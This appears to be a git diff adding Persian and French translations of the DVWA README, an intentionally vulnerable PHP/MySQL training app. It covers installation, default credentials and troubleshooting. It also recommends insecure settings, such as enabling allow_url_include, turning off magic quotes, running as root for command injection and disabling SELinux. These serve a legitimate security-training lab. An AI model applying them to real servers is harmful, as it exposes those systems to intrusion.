+_نکته: اگر DVWA را در مسیرمتفاوتی نصب کرده باشد، این نیز برای شما تفاوت خواهد داشت._ + +- - - + +## کانتینر داکر +_این بخش از راهمنما توسط @thegrims برای پوشش مسائل مربوط به داکر ایجاد شده است. لطفاً در این رابطه با آنها یا@opsxcq، کسی که نگهداری‌کنندهٔ ایمیج داکر و مخزن است تماس بگیرید. هر تیکتی که در اینجا بزنید احتمالاً با همین مضمون بسته خواهد شد._ + + +- [صفحهٔ داکرهاب](https://hub.docker.com/r/vulnerables/web-dvwa/) +`docker run --rm -it -p 80:80 vulnerables/web-dvwa` +لطفاً به علت مشکلات قدیمی‌تر مای‌اسکیوال، اطمینان حاصل کنید که از aufs استفاده می‌کنید. دستور `docker info` را برای اطلاع از راه‌انداز استوریج خود اجرا کنید. اگر از این درایور استفاده نمی‌شود طوری تغییر دهید که این اتفاق بیفتد. برای سیستم‌عامل‌های مختلف راهنمایی در مورد چگونگی انجام این کار وجود دارد. لیکن به علت تنوع روشها در این بخش پوشش داده نمی‌شوند. + +- - - + +## اشکال‌زدایی +در اینجا فرض بر این است که شما از یک توزیع لینوکس مبتنی بر دبیان، از جمله خود دبیان، ابونتو یا کالی استفاده می‌کنید. برای سایر توزیع‌ها نیز می‌توانید این راهنما را دنبال کنید ولی دقت کنید که دستورات را به شکل مقتضی تغییر دهید. + + + +### سایت را مرور می‌کنم، ولی خطای ۴۰۴ می‌گیرم +اگر شما این خطا را دریافت می‌کنید، نیاز است تسبت به محل فایل‌ها آگاهی بیشتری کسب کنید. به‌شکل پیش‌فرض، پوشهٔ ریشهٔ فایلهای آپاچی (جایی که آن را به‌دنبال محتوای وبی جستجو می‌کند)، در `/var/www/html` واقع شده است. اگر شما فایل `hello.txt` را در آن قرار دهید، برای مرور آن می‌بایست از آدرس `http://localhost/hello.txt` استفاده کنید. + +لیکن اگر یک پوشه در آنجا ساخته‌اید و فایل را دروت آن قرار داده‌اید - `/var/www/html/mydir/hello.txt` - می‌بایست برای مرور آن از آدرس `http://localhost/mydir/hello.txt` استفاده کنید. + +سیستم عامل لینوکس، نسبت به بزرگی و کوچکی حروف حساس است. لذا در مثال بالا تلاش برای مرور هرکدام از آدرس‌های زیر نیز به شما خطای ۴۰۴ را گزارش خواهد داد: + + + +- `http://localhost/MyDir/hello.txt` +- `http://localhost/mydir/Hello.txt` +- `http://localhost/MYDIR/hello.txt` + +این چه تأثیری بر روی DVWA‌خواهد داشت؟ بسیاری از مردم با استفاده از گیت، DVWA را در پوشهٔ `/var/www/html` دانلود می‌کنند. این منجر به ایجاد پوشهٔ `/var/www/html/DVWA/` خواهد شد که تمام فایل‌های DVWA درون آن قرار می‌گیرند. پس از آن سراغ آپاچی رفته و `http://localhost/` را مرور کرده و با خطای ۴۰۴ یا صفحهٔ خوش‌آمدگویی آپاچی مواجه می‌شوند. از آنجایی که فایل‌ها درون پوشهٔ DVWA قرار دارند، باید بجای آن، آدرس `http://localhost/DVWA` را مرور کرد. + +اشتباه رایج دیگر استفاده از آدرس `http://localhost/dvwa` است که باز هم خطای ۴۰۴ را خواهد داد. چراکه `dvwa` با `DVWA` طبق معیارهای تطبیق نام پوشه در لینوکس یکی نیستند. + +بنابرین وقتی پس از نصب با خطای `404` مواجه شدید، یک مرتبه مرور کنید که فایها را در کجا نصب کرده‌اید، نسبت به پوشهٔ ریشهٔ فایلها در چه موقعیتی قرار گرفته‌اند و بزرگی و کوچکی حروف در نام پوشه‌های استفاده‌شده چه شکلی است. + + +### خطای"Access denied" موقع اجرای نصب +اگر حین اجرای اسکریپت نصب این خطا را دریافت می‌کنید، بدان معنی است که نام کاربری و کلمهٔ عبور تنظیم‌شده در قایل تنظیمات با آنچه در پایگاه داده تنظیم شده است تطابق ندارد: + +``` +Database Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES). +``` + +این پیام خطا به شما می‌گوید که در حال استفاده از نام کاربری `notdvwa` هستید. + + +پیام خطای بعدی به شما می‌گوید در فایل کانفیگ به پایگاه دادهٔ اشتباهی اشاره کرده‌اید. + +``` +SQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa' +``` + +این به شما می‌گوید که با استفاده از نام کاربری `dvwa` در حال تلاش برای اتصال به پایگاه دادهٔ `notdvwa` هستید. +اولین قدم این است که کنترل کنید آیا آن چیزی که فکر می‌کنید در کانفیگ فایل تنظیم کرده‌اید واقعاً در آنجا وجود دارد یا خیر. + +اگر تنظیمات با آنچه انتظارش را داشتید مطابقت می‌کند، مرحلهٔ بعدی تلاش برای ورود با نام کاریری از طریق خط فرمان است. با فرض بر اینکه شما یک نام کاربری با نام `dvwa` و یک کلمهٔ عبور با مقدار `p@ssw0rd` دارید، می‌توانید دستور زیر را اجرا کنید: + + +``` +mysql -u dvwa -pp@ssw0rd -D dvwa +``` + +*دقت کنید که هیچ فاصلهٔ خالی بعد از p- قرار ندارد* + +اگر یک چنین چیزی می‌بینید، کلمهٔ عبور شما صحیح است: + + +``` +Welcome to the MariaDB monitor. Commands end with ; or \g. +Your MariaDB connection id is 14 +Server version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10 + +Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. + +Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + +MariaDB [dvwa]> +``` + +از آنجا که از طریق خط فرمان به شکل موفقیت آمیز توانسته‌اید متصل شوید، به احتمال زیاد چیزی در فایل کانفیگ اشتباه است. مجدداً آن را کنترل کنید و اگر همچنان نتوانستید موفق شوید یک issue برای رسیدگی ایجاد کنید. + +اگر چنین چیزی می‌بینید، یا نام کاربری یا کلمهٔ عبورتان اشتباه است. مراحل [نصب پایگاه داده](#database-setup) را مجدداً تکرار کنید و اطمینان حاصل کنید که در کل این فرایند از همان نام کاربری و کلمهٔ عبور استفاده می‌کنید. + +``` +ERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES) +``` +اگر خطای زیر را می‌گیرید، بدین معنا است که نام کاربری و کلمهٔ عبور شما صحیح است، لبکن سطح دسترسی آن به پایگاه داده کافی نیست. در این حالت نیز مراحل نصب را تکرار کنید و نام پایگاه داده‌ای که به آن متصل می‌شوید را چک کنید. + +``` +ERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa' +``` + +آخرین خطایی که ممکن است دریافت کنید نیز به شرح زیر است: + +``` +ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) +``` +این یک خطای ورود نیست، لیکن به شما می‌گوید که سرور پایگاه داده در حال اجرا نیست. آن را با دستور زیر اجرا کنید: + + +```sh +sudo service mysql start +``` + +### روش ورود ناشتاخته +در نسخه‌های جدیدتر مای‌اس‌کیوال، پی‌اچ‌پی دیگر نمی‌تواند در حالت تنظیمات پیش‌فرض با پایگاه داده ارتباط برقرار کند. اگر حین تلاش برای اجرای اسکریپت نصب این خطا را می‌گیرید به این موضوع بیندیشید. + +With the most recent versions of MySQL, PHP can no longer talk to the database in its default configuration. If you try to run the setup script and get the following message it means you have configuration. + +``` +Database Error #2054: The server requested authentication method unknown to the client. +``` +دو راه حل پیش رو دارید که آسان‌ترین آنها حذف مای‌اس‌کیو‌ال و نصب ماریادی‌بی بجای آن است. در پایین می‌توانید راهنمای رسمی پروژهٔ ماریادی‌بی را ببینید: + + + +راه‌حل دیگر اجرای مراحل زیر است: +1. با کاربر روت، فایل `/etc/mysql/mysql.conf.d/mysqld.cnf` را برای ویرایش باز کنید. +2. زیر سطر `[mysqld]`، عبارت زیر را بیفزایید: `default-authentication-plugin=mysql_native_password` +3. سرویس پایگاه داده را ریستارت کنید: `sudo service mysql restart` +4. حالت ارزیابی ورود را برای کاربرتان بررسی کنید: + + + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------------------+-----------------------+ + | Host | User | plugin | + +-----------+------------------+-----------------------+ + | localhost | dvwa | caching_sha2_password | + +-----------+------------------+-----------------------+ + 1 rows in set (0.00 sec) + ``` +1. احتمالاً `caching_sha2_password` به چشمتان خواهد خورد در این صورت دستور زیر را اجرا کنید: + + ```sql + mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd'; + ``` + +1. اگر دوباره بررسی کنید، ایندفعه می‌بایست `mysql_native_password` را ببینید. + + + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------+-----------------------+ + | Host | User | plugin | + +-----------+------+-----------------------+ + | localhost | dvwa | mysql_native_password | + +-----------+------+-----------------------+ + 1 row in set (0.00 sec) + ``` +پس از تمام این کارها، الان فرایند نصب باید بتواند به صورت عادی انجام شود. +برای اطلاعات بیشتر صفحهٔ زیر را دنبال کنید: + . + +### خطای شماره ۲۰۰۲ پایگاه داده: چنین فایل یا پوشه‌ای وجود ندارد +سرور پایگاه داده در حال اجرا نیستو در توزیع‌های مبتنی بر دبیان می‌توانید اینگونه مشکل را برطرف کنید: + +```sh +sudo service mysql start +``` + +### خطاهای "MySQL server has gone away" و "Packets out of order" +چندین دلیل ممکن است برای گرفتن خطاهای بالا وجود داشته باشد. اما شایع‌ترینشان این است که نسخهٔ سرور پایگاه دادهٔ شما با نسخهٔ پی‌اچ‌پی سازگاری ندارد. + +این ممکن است وقتی استفاده از آخرین نسخه‌های مای‌اسکیوال و پی‌اچ‌پی به خوبی پیش‌نرود مشاهده شود. بهترین توصیه کنارگذاشتن مای‌اسکیوال و نصب ماریا‌دی‌بی است چرا که این موضوعی نیست که بتوانیم پشتیبانی بیشتری در مورد آن بدهیم. + + +برای اطلاعات بیشتر اینجا را ببینید: + + + +### تزریق دستور کار نمی‌کند +آپاچی ممکن است سطح دسترسی کافی برای اجرای دستورات روی سرور وبی را نداشته باشد. اگر DVWA را تحت لینوکس اجرا می‌کنید، اطمینان حاصل کنید که با کاربر روت وارد شده‌اید. در ویندوز از ورود به صورت Administrator اطمینان حاصل کنید. + + +### چرا در سنت‌اواس نمی‌توان به پایگاه داده وصل شد +مشکل شما ممکن است به selinux‌ مربوط باشد. یا آن را غیر فعال کنید، یا با دستور زیر مجوز اتصال به پایگاه داده را فراهم کنید: + +``` +setsebool -P httpd_can_network_connect_db 1 +``` + +### سایر مسائل +برای دیدن آخرین مطالب اشکال‌زدایی تیکت‌های باز و بسته را در مخزن گیت مطالعه کنید: + + + +لطفاً قبل از ارسال تیکت جدید اطمینان حاصل کنید که از آخرین نسخهٔ کد موجود در مخزن استفاده می‌کنید. این با آخرین انتشار فرق دارد، منظور آخرین کد از شاخهٔ مستر است. +اگر قضد ارسال تیکتی دارید، حداقل اطلاعات زیر را فراهم کنید: + +- سیستم عامل +- آخرین پنج خط از لاگ سرور در جایی که مربوط به گزارش خطای شما است. +- اگر گزارشتان مربوط به ورود به پایگاه داده است، مراحل مرتبط ذکر شده برای رفع اشکالات پایگاه داده که در بالا آمده است را طی کنید و از هر مرحله اسکرین‌شات بگیرید. آنها را به همراه اسکرین‌شات از بخشی از فایل کانفیگ که نام کاریری، کلمهٔ عبور و نام پایگاه داده را برای اتصال به سرور مشخص می‌کند ضمیمه کنید. +- توضیح کاملی از اینکه چه مشکلی وجود دارد، چه انتظاری داشتید، و چه تلاش‌هایی تا کنون برای رفع آن انجام داده‌اید. بیان اینکه "ورود کار نمی‌کند" برای درک مشکل و کمک به شما برای برطرف کردن آن کافی نیست. + + +- - - + +## تزریق اس‌کیوال در SQLite3 + +_پشتیبانی از این موضوع بسیار محدود است. قبل از ثبت خطا باید اطمینان داشته‌باشید برای کارکردن بر روی اشکالزدایی آمادگی کافی را داشته باشید. از مطرح‌کردن "فلان چیز کار نمی‌کند" بپرهیزید_ +به طور پیش‌فرض SQLi و Blind SQLi بر روی سرور ماریا‌دی‌بی یا مای‌اسکیوال استفاده شده در سایت انجام می‌شوند. اما این امکان وجود دارد که تست SQLi را بجای آن بر روی یک SQLite3‌ انجام دهید. +در اینجا چگونگی راه‌اندازی و کارکردن SQLite3 با PHP‌ توضیح داده نمی‌شود، اما چیز ساده‌ای در حد نصب `php-sqlite3` و اطمینان از فعال بودن آن را یادآوری می‌کنیم. + +برای تغییر، کافیست فایل کانفیگ را ویرایش کنید و خطوط زیر را تغییر داده یا اضافه کنید: + + +``` +$_DVWA["SQLI_DB"] = "sqlite"; +$_DVWA["SQLITE_DB"] = "sqli.db"; +``` + +به طور پیش‌فرض از فایل `database/sqli.db` استفاده می‌شود. اگر به طور اتفاقی به این فایل آسب زدید، آن را از مبدا `database/sqli.db.dist` بازنویسی کنید +باقی مسائل همانند مای‌اس‌کیو‌ال است با این تفاوت که از SQLite3 بجای آن استفاده کرده‌ایم. + + + +- - - + +## پیوندها + +صفحهٔ اصلی پروژه: + +*تهیه‌شده توسط تیم DVWA* diff --git a/DVWA/README.fr.md b/DVWA/README.fr.md new file mode 100644 index 00000000..f0296e9e --- /dev/null +++ b/DVWA/README.fr.md @@ -0,0 +1,386 @@ +# Translation / Traduction + +Philibert Gentil:@[Philibert-Gentil](https://github.com/Philibert-Gentil) +Vous pouvez me contacter en cas d'erreur de traduction / d'interprétation. + +- - - + +# DAMN VULNERABLE WEB APPLICATION / BORDEL D'APPLICATION WEB VULNÉRABLE + +Bordel d'application web vulnérable (BAWV, traduit DVWA) est une application web PHP/MySQL vulnérable. Son but principal est d'être une aide pour les experts en sécurité pour tester leurs compétences et outils dans un environnement légal, aider les développeurs web à mieux comprendre la sécurisation des applications web et d'aider les élèves et professeurs à apprendre la sécurité des applications web dans un environnement d'études. + +L'objectif de BAWV est **d'expérimenter les vulnérabilités web les plus communes**, avec **différents niveaux de difficulté**, avec une interface intuitive. +Notez qu'il existe des **vulnérabilités documentées ou non** avec ce programme. C'est intentionnel. Vous êtes encourragés à essayer et découvrir autant de failles que possible. +- - - + +## ATTENTION ! + +Bordel D'application web vulnérable est vachement vulnérable ! **Ne la publiez pas sur le dossier html public de votre hébergeur ni aucun serveur visible sur internet**, ou ils seront compromis. Il est recommendé d'utiliser une machine virtuelle (comme [VirtualBox](https://www.virtualbox.org/) ou [VMware](https://www.vmware.com/)), réglé sur le mode réseau NAT. Dans une machine invitée, vous pouvez télécharger et installer [XAMPP](https://www.apachefriends.org/) pour le serveur web et la base de données. + +### Non-responsabilité + +Nous ne sommes pas responsables de la manière dont vous utilisez BAWV. Nous avons clairement défini les objectifs de l'application et elle ne dois pas être utilisée de manière malveillante. Nous vous avons averti et avons pris les mesures nécessaires pour informer les utilisateurs de BAWV à propos de son installation sur un serveur. Si votre serveur est compromis à cause d'une installation de BAWV, il n'en découle pas de notre responsabilité, mais de celle de la/les personne(s) qui l'a/ont téléchargé ou installé, envoyé. +- - - + +## License + +Ce fichier fait parie du bordel d'application web vulnérable (BAWV) + +Bordel d'application web vulnérable (BAWV) est un logiciel libre: vous pouvez le re-distribuer et/ou le modifier en respectant les termes de la licence publique générale GNU (GNU General Public License) tel que publié par +La fondation des logiciels libres (the Free Software Foundation), +soit la troisième version de la licence, soit une version ultérieure. + +Bordel d'application web vulnérable (BAWV) est distribué dans l'espoir qu'il vous sera utile, +mais SANS GARANTIE; sans même la garantie implicite de qualité professionnelle ou particulière. +Voyez la license publique générale GNU pour plus de détails. + +Vous devriez avoir reçu une copie de la license publique générale GNU +en même temps que le bordel d'application web vulnérable (BAVW). Sinon, consultez . +- - - + +## Internationalisation + +Ce fichier est disponibles dans diverses langues ci-dessous : +- Chinois: [简体中文](README.zh.md) +- Turque: [Türkçe](README.tr.md) +- Anglais: [English](README.md) + +Si vous souhaitez contribuer à la traduction, faite une demande d'extraction (pull request, PR). Par contre, ça ne doit pas être juste du Google Trad, ou ce sera rejeté. + +- - - + +## Téléchargement + +Même s'il y a diverses versions de BAVW, la seule version soutenue via cette source du dépôt GitHub est celle-ci. Vous pouvez la cloner depuis le dépôt suivant : + +``` +git clone https://github.com/digininja/DVWA.git +``` + +Ou [télécharger le fichier zippé](https://github.com/digininja/DVWA/archive/master.zip). +- - - + +## Installation + +**Soyez sûrs que le fichier config/config.inc.php existe. Avoir le fichier config.inc.php.dist ne suffira pas, vous devrez le modifier par rapport à votre environnement et le renommer config.inc.php. [Windows cachera peut-être l'extension](https://lecrabeinfo.net/afficher-extensions-noms-de-fichiers-dans-windows.html)** + +## Vidéos d'installation +- (en anglais) [Installing DVWA on Kali running in VirtualBox](https://www.youtube.com/watch?v=WkyDxNJkgQ4) +- (En anglais) [Installing Damn Vulnerable Web Application (DVWA) on Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo) \[12:39 minutes\] + +### Win + XAMPP + +La solution la plus facile pour installer BAVW est de télécharger et d'installer [XAMPP](https://www.apachefriends.org/) si vous n'avez pas déjà de serveur web. + +XAMPP est une distribution apache pour Linux, Solaris, Windows et MacOS très facile d'installation. Le paquet inclut le serveur web apache, MySQL, PHP, Perl, un serveur FTP et phpMyAdmin. + +XAMPP peut être téléchargé depuis : + + +Dézippez simplement dvwa.zip, placez le fichier décompressé dans votre fichier HTML public, puis allez avec votre navigateur sur `http://localhost/dvwa/setup.php` + +### Paquets Linux + +Si vous utilisez une distribution basée sur Debian (Debian, ubuntu, kali, parrot, Rapberry pi OS etc), vous devez installer les paquets suivants _(ou leurs équivalents)_: + +- apache2 +- libapache2-mod-php +- mariadb-server +- mariadb-client +- php +- php-mysql +- php-gd +- php-mbstring + +La commande suivante vous permet de les installer. + +`apt install apache2 mariadb-server php php-mysqli php-gd php-mbstring libapache2-mod-php` + +Note: php-mbstring permet de gérer les caractères européens, arabes, caligraphiques et caetera, notamment la table de caractères UTF-8. Ne pas la télécharger pourrait entrainez des problèmes d'affichage si vous n'avez pas un langage germanique comme l'anglais ou l'allemand. + +Le site fonctionnera avec MySQL à la place de MariaDB mais nous recommendons fortement MariaDB car cela fonctionne directement, contrairement à MySQL que vous devrez modifier. + +### Paramétrage de la base de données + +Pour créer une base de données (BDD), cliquez simplement sur le bouton `Setup DVWA` (configurer BAWV) dans le menu principal puis cliquez sur le bouton `Create / Reset Database` (créez / réinitialisez la BDD). Cela créera / réinitialisera la BDD pour vous avec des données dedans. + +Si vous rencontrez une erreur en essayant de créer la BDD, soyez sûrs que les identifiants de la BDD soient corrects dans `./config/config.inc.php`. *Elles diffèrent de config.inc.php.dist, qui est un fichier bateau*. + +Les variables sont définies comme ceci par défaut: + +```php +$_DVWA[ 'db_server'] = '127.0.0.1'; //l'IP du serveur +$_DVWA[ 'db_port'] = '3306'; //Le port pour accéder à la BDD +$_DVWA[ 'db_user' ] = 'dvwa'; //L'utilisateur de la BDD +$_DVWA[ 'db_password' ] = 'p@ssw0rd'; //Le mdp +$_DVWA[ 'db_database' ] = 'dvwa'; //Le nom de la BDD +``` + +PS: si vous utilisez MariaDB plutôt que MySQL (MariaDB est là par défaut sur Kali), vous ne pouvez utilisez la BDD en tant que root, vous devez créer un nouvel utilisateur. Pour faire cela, connectez vous à la BDD en tant que super-administrateur (root) dans un terminal et tapez les commandes suivantes: + +```mysql +mysql> create database dvwa; //On crée la BDD +Query OK, 1 row affected (0.00 sec) + +mysql> create user dvwa@localhost identified by 'p@ssw0rd'; //On crée l'utilisateur +Query OK, 0 rows affected (0.01 sec) + +mysql> grant all on dvwa.* to dvwa@localhost;//On lui donne toute les permissions dans la BDD dvwa +Query OK, 0 rows affected (0.01 sec) + +mysql> flush privileges;//On actualise les privilèges (en gros) +Query OK, 0 rows affected (0.00 sec) +``` + +### Autres configurations + +En fonction de votre système d'exploitaiton (SE), tout comme la version de PHP, vous devrez peut-être modifier la configuration initiale. La localisation des fichiers sera éventuellement différente, selon votre machine. + +**Permissions du fichier** + +* `./hackable/uploads/` - Doit être disponible en écriture par le serveur web (des fichiers y seront uploadés). +* `./external/phpids/0.6/lib/IDS/tmp/phpids_log.txt` - Doit être disponible en écriture par le serveur web (si vous voulez utiliser les PHPIDS). + +**Configuration PHP** + +* `allow_url_include = on` - Autorise l'utilisation du gestionnaire des URL par certaines fonctions (RFI) [[allow_url_include](https://secure.php.net/manual/fr/filesystem.configuration.php#ini.allow-url-include)] +* `allow_url_fopen = on` - Autorisation pour l'accès au fichiers (RFI) [[allow_url_fopen](https://secure.php.net/manual/fr/filesystem.configuration.php#ini.allow-url-fopen)] +* `safe_mode = off` - (Si PHP <= v5.4) Autorise l'injection SQL (SQLi) [[safe_mode](https://secure.php.net/manual/fr/features.safe-mode.php)] +* `magic_quotes_gpc = off` - (Si PHP <= v5.4) Autorise l'injection SQL (SQLi) [[magic_quotes_gpc](https://secure.php.net/manual/fr/security.magicquotes.php)] +* `display_errors = off` - (Optional) Cache les messages d'avertissement PHP [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)] + +**Fichier: `config/config.inc.php`**: + +* `$_DVWA[ 'recaptcha_public_key' ]` & `$_DVWA[ 'recaptcha_private_key' ]` - Ces valeurs doivent être générées depuis: https://www.google.com/recaptcha/admin/create + +### Identifiants par défaut + +**Identifiant par défaut = `admin`** + +**Clef par défaut = `password`** + +_... peut être facilement craqué ;)_ +URL de connection: http://127.0.0.1/login.php +_PS: Ce sera différent si vous installez BAWV dans un autre fichier._ +- - - + +## Container Docker +_Cette section du fichier à été ajouté par @thegrims, pour de l'aide à propos d'erreurs docker, veuillez le contacter ou contactez @opsxcq, qui est le maître du dépôt et de l'image docker. Un signalement d'erreur lui sera sûrement adressé et celle-ci sera collematée_ + +- [page dockerhub](https://hub.docker.com/r/vulnerables/web-dvwa/) +`docker run --rm -it -p 80:80 vulnerables/web-dvwa` + +Soyez sûrs d'utiliser AUFS à cause d'erreurs antérieurs de MySQL. Lancez `docker info` pour vérifier le stockage de votre lecteur. Si il n'est pas en AUFS, veuillez le changer. Il y a un manuel pour chaque SE (OS), mais il sont tellement différents que nous n'aborderons pas ce sujet. + +### Construction locale + +Si vous avez fais des changements et voulez construire le projet à partir de votre version locale, editez le fichier `compose.yml` et changez `pull_policy: always` par `pull_policy: build`. + +Exécuter la commande `docker compose up -d` va déclancher Docker à construire une image à partir de votre version locale, sans regard sur ce qui est disponible dans le registre. + +Pour plus d'informations (En anglais): [`pull_policy`](https://github.com/compose-spec/compose-spec/blob/master/05-services.md#pull_policy). + +### Servir les fichiers locaux + +Si vous faites des changements et ne voulez pas avoir à reconstruire l'image après chaque changement : + +1. Éditer le fichier `compose.yml` et décommenter : + ``` + # volumes: + # - ./:/var/www/html + ``` +2. Exécuter `cp config/config.inc.php.dist config/config.inc.php` pour copier le fichier de configuration par défaut. +3. Exécuter `docker compose up -d` et les changements au fichiers locaux seront réfléchies sur le conteneur. + +- - - + +## Dépannage + +Nous considérons que vous êtes sur une distribution basée sur Debian, comme Debian, Ubuntu, Kali ou Raspberry pi OS. Pour les autres distributions, suivez les instructions en adaptant les commandes à votre distribution. + +### Le site me donne une erreur 404 + +Si vous avez ce problème, vous devez comprendre la localistaion des fichiers. Par défaut, le fichier racine apache (l'endroit où il cherche le contenu du site) est `/var/www/html`. Si vous mettez un fichier nommé `salut.txt` dans ce dossier, vous devrez, pour y accéder, noter `http://localhost/salut.txt`. + +Si vous créer un dossier et que vous y mettez un fichier - `/var/www/html/mondossier/salut.txt` - vous devrez écrire `http://localhost/mondossier/salut.txt`. + +Linux est sensible à la casse (par exemps, "é" n'est pas la même lettre que "e"; et "E" n'est pas lettre que "e"), donc vous pourriez tomber sur un 404 si vous n'y prenez pas garde. +Les URL suivantes vous donneront une erreur 404 : +- `http://localhost/MonDossier/salut.txt` +- `http://localhost/mondossier/Salut.txt` +- `http://localhost/MONDOSSIER/salut.txt` + +Pourquoi cela affecte BAWV ? La plupart des gens utilisent Git intégrer BAWV dans leur répertoire `/var/www/html`, cela leur donne donc le chemin `/var/www/html/DVWA` avec tous les fichiers de BAWV dedans. Du coup si vous cherchez `http://localhost/` ça vous retourne une erreur 404, ou la page par défaut d'apache. Comme les fichiers sont dans le dossier DVWA, ous devez rechercher `http://localhost/DVWA/`. + +L'autre erreur commune est de rechercher `http://localhost/dvwa` ce qui retourne une erreur 404 parce que `dvwa` n'est pas pareil que `DVWA`, à cause de la casse. + +Après la configuration, si vous obtenez une erreur 404, pensez à là où vous avez enregistré vos fichiers, qui est accessible par un chemin relatif, et quelle est l'orthographe des dossiers dans lesquels il se situe. + +### "Accès refusé" pendant la configuration + +Si vous avez l'erreur suivante en exécutant le programme de configuration, cela veut dire que l'ID et la clef que vous avez défini ne correspond pas à celle de la BDD. + +``` +Database Error #1045: Access denied for user 'nimporte'@'localhost' (using password: YES). +//signifie: "Erreur de la BDD #1045: accès refusé pour l'utilisateur 'nimporte'@'localhost' (utilise un mdp: OUI)" +``` + +Cette erreur signifie que vous utilisez le nom d'utilisateur `nimporte`. + +L'erreur suivante dit que vous demandez une mauvaise base de donnée. + +``` +SQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa' +//signifie : "SQL: Accès refusé pour l'utilisateur 'dvwa'@'localhost' à la BDD `nimporte`." +``` + +Ça dit que vous vous connectez en tant que `dvwa` et que vous essayez de vous connecter à la BDD `nimporte`. + +La première chose à faire est de revérifier ce que vous avez renseigné dans le fichier de configuration. + +Si les informations semblent être correctes, la chose à revérifier est de regarder les journaux systèmes à propos de l'utilisateur en ligne de commande. Considérons que vous avez une BDD dénominée `dvwa` et un mot de passe `p@ssw0rd`, lancez la commande suivante. + +``` +mysql -u dvwa -p -D dvwa +//puis tapez votre mot de passe dans le champ qui apparaît +``` + +Si le texte suivant apparaît (peut varier), les identifiants sont corrects: +``` +Welcome to the MariaDB monitor. Commands end with ; or \g. +Your MariaDB connection id is 14 +Server version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10 + +Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. + +Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. + +MariaDB [dvwa]> +``` +Puisque vous pouvez vous connecter en ligne de commande, il y a quelque chose qui cloche dans le fichier de configuration, re-vérifiez-le et signaler nus une erreur si vous n'arrivez pas à la trouver (sur github). + +Si le texte qui est apparu est le suivant, les identifiants sont incorrects. Répétez la [configuration de la base de données](#Paramétrage de la base de données) et soyez sûrs d'utiliser toujours les même identifiants durant la procédure. +``` +ERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES) +//signifie: "Erreur 1045 (28000): Accès refusé pour l'utilisateur 'dvwa'@'localhost' (clé renseignée: OUI)" +``` + +Si vous obtenez l'erreur suivante, les identifiants sont corrects mais l'utilisateur n'a pas accès à la database. +Réitérez aussi le paramétrage de la base de données et vérifiez le nom de la base de données. +``` +ERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa' +//signifie: "Erreur 1044 (42000): Accès refusé pour l'utilisateur 'dvwa'@'localhost' à la BDD 'dvwa'." +``` + +La dèrnière erreur peut être celle-ci: +``` +ERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2) +``` +Ça n'est pas une erreur d'authentification, c'est juste que le système de gestion de la BDD n'est pas activée. Démarrez-le en tapant : +```sh +sudo service mysql start +``` + +### Méthode d'identification inconnue + +Avec les versions les plus récentes de MySQL, PHP ne peut plus échanger avec la BDD dans sa configuration initiale. Si vous obtenez cette erreur, c'est que vous possédez cette configuration :(. +``` +Database Error #2054: The server requested authentication method unknown to the client. +//Signification: "Erreur de BDD #2045: la méthode authentification utilisée est inconnue." +``` + +Vous avez deux options, la première étant de désinstaller MySQL et d'installez MariaDB. Ce lien vous envoie vers le manuel officiel de MariaDB. + (en anglais) + +Sinon, suivez ces étapes: + +1. En tant que root, éditez le fichier `/etc/mysql/mysql.conf.d/mysqld.cnf` +1. sous la ligne `[mysqld]`, ajoutez + `default-authentication-plugin=mysql_native_password` +1. redémarrez MySQL: `sudo service mysql restart` +1. Vérifiez le méthode de connexion pour votre utilisateur: + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------------------+-----------------------+ + | Host | User | plugin | + +-----------+------------------+-----------------------+ + | localhost | dvwa | caching_sha2_password | + +-----------+------------------+-----------------------+ + 1 rows in set (0.00 sec) + ``` +1. Vous verrez probablement `caching_sha2_password`. Si c'est le cas, tapez: + ```sql + mysql> ALTER USER dvwa@localhost IDENTIFIED WITH mysql_native_password BY 'p@ssw0rd'; + ``` +1. Relancez la vérification, vous devriez voir `mysql_native_password`. + ```sql + mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa'; + +-----------+------+-----------------------+ + | Host | User | plugin | + +-----------+------+-----------------------+ + | localhost | dvwa | mysql_native_password | + +-----------+------+-----------------------+ + 1 row in set (0.00 sec) + ``` +Après tout ça, le processus de configuration devrait fonctionner. +Pour plus d'infos, voyez: . + +### Database Error #2002: No such file or directory. + +Le serveur de BDD est inactif. Sur une distro basée Debian, tapez: +```sh +sudo service mysql start +``` +### Erreurs "MySQL server has gone away" et "Packets out of order" + +Vous pourriez rencontrer cette erreur pour maintes raisons, mais la plus plausible est que la version de votre SGBDD est incompatible avec PHP. +Cela ce produit généralement quand vous utilisez la dernière version de MySQL, mais pas de PHP et que ça ne foncitonne pas oufement bien. Notre meilleur conseil est de désinstaller MySQL et d'installer MariaDB, sinon nous ne pouvons pas vous aider. + +### L'injection de commande ne fonctionne pas + +Apache n'a peut être pas assez de privilèges sur le serveur web. Si vous utilisez BAWV sur linux, veillez à être connecté en tant que root et sous windows, en tant qu'administrateur. + +### Pourquoi ne puis-je pas me connecter à ma BDD sous CentOS + +Vous avez sûrement des prolèmes avec SELinux. Désinstaller SELinux ou lancez cette commande pour autoriser le serveur web à discutter avec la base de donnée: +``` +setsebool -P httpd_can_network_connect_db 1 +``` + +### Autre chose + +Si vous avez besoin d'aide, lisez les rapports 